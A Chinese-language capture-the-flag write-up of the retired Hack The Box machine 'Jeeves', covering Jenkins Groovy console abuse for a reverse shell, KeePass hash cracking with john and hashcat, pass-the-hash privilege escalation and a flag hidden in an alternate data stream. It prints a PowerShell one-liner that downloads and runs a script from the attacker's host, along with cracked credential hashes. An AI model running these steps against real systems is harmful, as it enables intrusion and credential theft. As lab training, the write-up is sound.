Jeeves Writeup

概述 (Overview)

85139440.png|550

HOST: 10.10.10.63

OS: Windows

发布时间: 2017-11-12

完成时间: 2021-10-23

机器作者: mrb3n

困难程度: MEDIUM

机器状态: 退休

MACHINE TAGS: #PowerShell #Jenkins #PassTheHash

攻击链 (Kiillchain)

首先使用 Nmap 对目标服务进行端口枚举,通过对 Web 服务进行目录枚举得到隐藏的 Jenkins 服务。利用未授权访问执行命令控制台脚本,成功拿到立足点。

对用户目录进行信息收集时发现 KeePass Password 存储数据库,尝试 Hash 碰撞得到数据访问的明文密码。最终利用数据存储中的 LM:NTLM 进行 Hash 传递完成权限提升。

枚举(Enumeration)

常规使用 Nmap 对目标服务器进行开放端口枚举:

PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Ask Jeeves 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 445/tcp open microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 50000/tcp open http syn-ack ttl 127 Jetty 9.4.z-SNAPSHOT |_http-server-header: Jetty(9.4.z-SNAPSHOT) |_http-title: Error 404 Not Found Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

从结果中可以知道目标服务是 Windows 系统,存在一个不常见的 50000 端口,运行HTTP服务。

Port 80 - HTTP

浏览器访问 80 端口上的HTTP服务,看到提供搜索服务:

37998293.png|550

对这个功能进行简单的调试,发现会跳转到 /error.html? 路径。

752e80728b7f85bedc8160aebcc118fc.png|550

但是很奇怪,鼠标点击页面内容并不能进行文字选择,查看页面源代码发现就是一张图片:

7b1e9f5984eaf6cd58e53528bb2dac91.png

Port 50000 - HTTP

在对 80 端口枚举尝试无果后关注 50000 端口,默认是一个 404 状态的页面:

90bbb3a9468b709660bc02ce66ab37ac.png

使用 feroxbuster 工具对 URL 进行目录枚举,尝试看是否存在隐藏内容:

d3c974e3fed6baf8c87d46258d2c9f73.png

立足点(Foothold)

从结果中看到存在一个 /askjeeves 路径,访问后看到 Jenkins 服务,存在未授权访问能访问管理页面:

6452b3086b7c040ef725375e8163a9a9.png

查看版本为 ver. 2.87,首先尝试访问 Groovy 脚本控制台,发现功能存在。这意味着可以使用Groovy 脚本进行命令执行,使用它反弹shell。

滥用 Jenkins Groovy 脚本控制台获取 Shell

使用文章中对应系统的 script,运行后得到了反弹 Shell 获得初步的立足点。

4b4d391cef2dac1e42a38174225b7648.png

随后在 kohsuke 用户下找到了 user flag。

5dd84b829caafef194a0dc44ae55730c.png

权限提升(Privilege Escalation)

首先尝试从 Jenkins 中找凭证信息,尝试看能不能找到明文凭证。secrets\master.key、secrets\hudson.util.Secret 文件都存在,但没有 credentials.xml,说明 Jenkins 服务并没有保存过这类信息。

在信息收集过程中发现 Shell 连接不稳定,就改用 MSF 进行会话维持。本地起一个 Web 服务,PowerShell 加载运行完成上线:

powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://10.10.17.64/Shell.ps1')"

99ffaf3e9ef9bfcb294469b17e7d890b.png

在 CMD 中使用 findstr 命令进行字符串匹配搜索,发现在 config.xml 文件中存在一组 hash:

C:\Users\Administrator\.jenkins>findstr /si password *.xml *.ini *.txt+ users\admin\config.xml: <passwordHash>#jbcrypt:$2a$10$QyIjgAFa7r3x8IMyqkeCluCB7ddvbR7wUn1GmFJNO2jQp2k8roehO</passwordHash>

可惜解不开,随后使用 tree 命令查看下文件夹树形信息,发现存在一个 CEH.kdbx 文件。根据文件后缀名进行搜索,得知它是 Windows 免费密码管理器 KeePass Password Safe 创建的文件,用来存储密码的加密数据库,该数据库只能使用用户设置的主密码进行查看。

1d56e4603418df13ce7ecbc3997f8035.png

开始进行明文密码枚举,使用 keepass2john 生成用于碰撞的 hash:

ddb5f78d0efa4c123ad2505d99a57850.png

接着使用 john 结合默认字典进行枚举:

john ./CEH.hash -w /usr/share/wordlists/rockyou.txt --format=KeePass

运行后发现无法解出来,改为用 hashcat 又进行了一次,结果能成功得到明文密码。

hashcat -m 13400 ./hash /usr/share/wordlists/rockyou.txt

5e79a2f8f8f24b273d85d4943fb1e827.png

拿到明文密码后,直接使用 GUI 工具进行查看,在里面的到一组 hash:

# Install kpcli $ apt-get install kpcli libterm-readline-gnu-perl libdata-password-perl

83ebd6de66d9a7ba1dbdd7953401265d.png

aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00

结合目标系统是 windows,那么这组 hash 很有可能就是 LM:NTLM,使用 cme 进行尝试:

94c68e02449bae427c29ef0f782148f7.png

很好,就是 admin 的 hash,hash传递成功完成提权。

06677dff9730ed800abcfd09a23f5cfd.png

隐藏的 ROOT Flag

尝试在管理员的桌面文件夹寻找 flag,发现存在一个 hm.txt 的文件,但是无法查看提示锁定。

34d7f45f6caa2d8220f89c887d7c47b2.png

怀疑存在隐藏,在 dir 中加入 /R 参数出现 hm.txt:root.txt:$DATA 文件。

717b56b52e665558761ddc39127ffa59.png

通过搜索了解到含有 :$DATA 结尾的文件,微软文件中叫文件流(File Streams)也有叫 Alternate Data Streams (ADS) 的,文件流可以做为执行文件从命令行执行,但它们不会显示在 Windows 资源管理器(或控制台)中。因为它们很难找到,所以黑客经常使用它们来隐藏他们已经入侵的机器上的文件(可能是 rootkit 的文件)。

When specified from the Windows shell command line, the full name of a stream is “filename:stream name:stream type”, as in the following example: “myfile.dat:stream1:$DATA”.

File Streams - https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams

运行 more 命令成功得到 root flag。

637387ecd5d589f6d35ae5923f4a64cb.png

参考

  • Alternate Data Streams (ADS) - https://infosecwriteups.com/alternate-data-streams-ads-54b144a831f1


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。